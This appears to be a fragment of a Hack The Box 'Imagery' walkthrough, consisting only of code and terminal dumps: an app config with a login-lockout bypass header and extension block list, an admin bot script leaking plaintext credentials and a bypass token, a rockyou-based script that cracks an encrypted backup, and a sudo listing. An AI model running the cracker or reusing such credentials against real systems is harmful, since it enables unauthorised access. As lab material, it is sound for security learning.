【HTB】Season9 Imagery Walkthrough

import os
import ipaddress

DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'

os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)

MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1

ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
    'image/jpeg',
    'image/png',
    'image/gif',
    'image/bmp',
    'image/tiff',
    'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
    'image/jpeg',
    'image/png',
    'image/gif',
    'image/bmp',
    'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024

BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')

FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('172.0.0.0/12'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'

web@Imagery:/opt/google/chrome$ crontab -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * python3 /home/web/web/bot/admin.py

web@Imagery:/opt/google/chrome$ cat /home/web/web/bot/admin.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob

# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

# Clean up old profiles
for folder in glob.glob("/tmp/chrome-profile-*"):
    try:
        shutil.rmtree(folder, ignore_errors=True)
    except Exception:
        pass

# Check /tmp space
total, used, free = shutil.disk_usage("/tmp")
if free < 50 * 1024 * 1024:
    print(f"[!] WARNING: /tmp is low on space! Only {free / 1024 / 1024:.2f} MB free.")

# Create new profile
user_data_dir = f"/tmp/chrome-profile-{uuid.uuid4()}"
os.makedirs(user_data_dir, exist_ok=True)

# Configure Chrome
options = Options()
options.binary_location = CHROME_BINARY
options.add_argument("--headless=new")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"--user-data-dir={user_data_dir}")
options.set_capability("goog:loggingPrefs", {"browser": "ALL"})

driver = None
try:
    driver = webdriver.Chrome(options=options)
    print("[*] Browser started.")
    driver.get(APP_URL)

    WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.ID, "navbar-links"))
    )
    print("[*] Navigation bar loaded.")

    login_nav_button = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.ID, "nav-login"))
    )
    login_nav_button.click()
    print("[*] Clicked 'Login' navigation button.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "loginPage"))
    )
    print("[*] Login page content is now visible.")

    # Wait for input fields
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginEmail")))
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginPassword")))

    driver.find_element(By.ID, "loginEmail").send_keys(USERNAME)
    driver.find_element(By.ID, "loginPassword").send_keys(PASSWORD)
    print("[*] Credentials filled.")

    # Inject bypass script
    driver.execute_script(f"""
        const form = document.getElementById('loginForm');
        if (form && !form.dataset.injected) {{
            form.dataset.injected = 'true';
            console.log('[*] Bypass script injected');
            form.addEventListener('submit', async function(event) {{
                event.preventDefault();
                const username = document.getElementById('loginEmail').value;
                const password = document.getElementById('loginPassword').value;
                try {{
                    const res = await fetch('/login', {{
                        method: 'POST',
                        headers: {{
                            'Content-Type': 'application/json',
                            'X-Bypass-Lockout': '{BYPASS_TOKEN}'
                        }},
                        body: JSON.stringify({{ username, password }})
                    }});
                    const data = await res.json();
                    if (data.success) {{
                        console.log('[+] Login successful!');
                        window.location.reload(); 
                    }} else {{
                        console.error('[-] Login failed:', data.message);
                        if (window.showMessage)
                            window.showMessage(data.message, 'error');
                    }}
                }} catch (e) {{
                    console.error('[!] Fetch error:', e);
                    if (window.showMessage)
                        window.showMessage('Unexpected error during login.', 'error');
                }}
            }});
        }} else {{
            console.warn('[!] Login form not found or already injected.');
        }}
    """)
    print("[*] Login form bypass injected.")

    # Trigger form submit
    driver.execute_script("document.getElementById('loginForm').dispatchEvent(new Event('submit'))")
    print("[*] Form submit triggered manually.")
    time.sleep(3)

    # Print browser console logs
   #browser_logs = driver.get_log("browser")
    #for entry in browser_logs:
      #  msg = entry['message']
       # print(f"[browser log] {msg}")
        #if '[!]' in msg or 'error' in msg.lower():
         #   print("[!] JS error detected:", msg)

    # Wait for admin panel
    WebDriverWait(driver, 20).until(
        EC.visibility_of_element_located((By.ID, "nav-admin-panel"))
    )
    print("[+] Admin panel navigation link appeared, login likely successful.")

    driver.find_element(By.ID, "nav-admin-panel").click()
    print("[*] Navigated to Admin Panel page.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "admin-content-wrapper"))
    )
    WebDriverWait(driver, 10).until(
        lambda d: d.find_element(By.ID, "admin-content-wrapper").get_attribute("style") == "" or
                  "display: none" not in d.find_element(By.ID, "admin-content-wrapper").get_attribute("style")
    )
    print("[+] Admin Panel content wrapper is visible, page loaded correctly.")

    auth_status = driver.execute_async_script("""
        const done = arguments[0];
        fetch('/auth_status')
            .then(res => res.json())
            .then(data => done(data))
            .catch(err => done({ error: String(err) }));
    """)

    print("[*] Auth Status:", auth_status)
    if auth_status.get("isAdmin"):
        print("[+] Admin status confirmed via /auth_status endpoint.")
    else:
        print("[-] User is not admin after login.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "user-list"))
    )
    print("[*] User list section found in Admin Panel.")

    try:
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "bug-reports-list"))
        )
        print("[*] Bug reports list section found in Admin Panel.")
    except:
        print("[*] No bug reports list found — maybe no entries yet.")

    print("[*] Script finished successfully.")

except Exception as e:
    print("[!] Exception during login and admin panel test:", e)
    traceback.print_exc()
    try:
        driver.save_screenshot("/tmp/selenium_failure.png")
        print("[*] Screenshot saved to /tmp/selenium_failure.png")
    except:
        pass
finally:
    if driver:
        print("[*] Quitting browser.")
        driver.quit()
    if os.path.exists(user_data_dir):
        print(f"[*] Cleaning up user data directory: {user_data_dir}")
        shutil.rmtree(user_data_dir, ignore_errors=True)

import pyAesCrypt
import os
import sys

# --- Configuration ---
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"
DECRYPTED_FILE = "d.zip"
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
BUFFER_SIZE = 64 * 1024 
# ---------------------

print(f"[+] Starting dictionary attack on {ENCRYPTED_FILE} using {WORDLIST_PATH}...")

try:
    with open(WORDLIST_PATH, 'r', encoding='latin-1') as f:
        for line in f:
            password = line.strip()
            if not password:
                continue
            
            # Uncomment to see every password attempt:
            # print(f"Trying: {password}")
            
            try:
                # Attempt decryption
                pyAesCrypt.decryptFile(
                    ENCRYPTED_FILE, 
                    DECRYPTED_FILE, 
                    password, 
                    BUFFER_SIZE
                )
                print(f"\n[+] SUCCESS! Password found: {password}")
                # Exit the script immediately upon success
                sys.exit(0)
            except ValueError:
                # This is the expected error for an incorrect password; simply ignore and continue.
                pass
            except Exception as e:
                # Catch unexpected issues (e.g., file corruption)
                print(f"\n[-] FATAL ERROR: {e}")
                sys.exit(1)

except FileNotFoundError:
    print(f"[-] ERROR: Wordlist file not found at: {WORDLIST_PATH}")
    sys.exit(1)

# If the loop finishes without success
print("\n[-] FAIL: All passwords in the dictionary were attempted. Password not found.")

mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol
mark@Imagery:~$ sudo /usr/local/bin/charcol

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0


Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help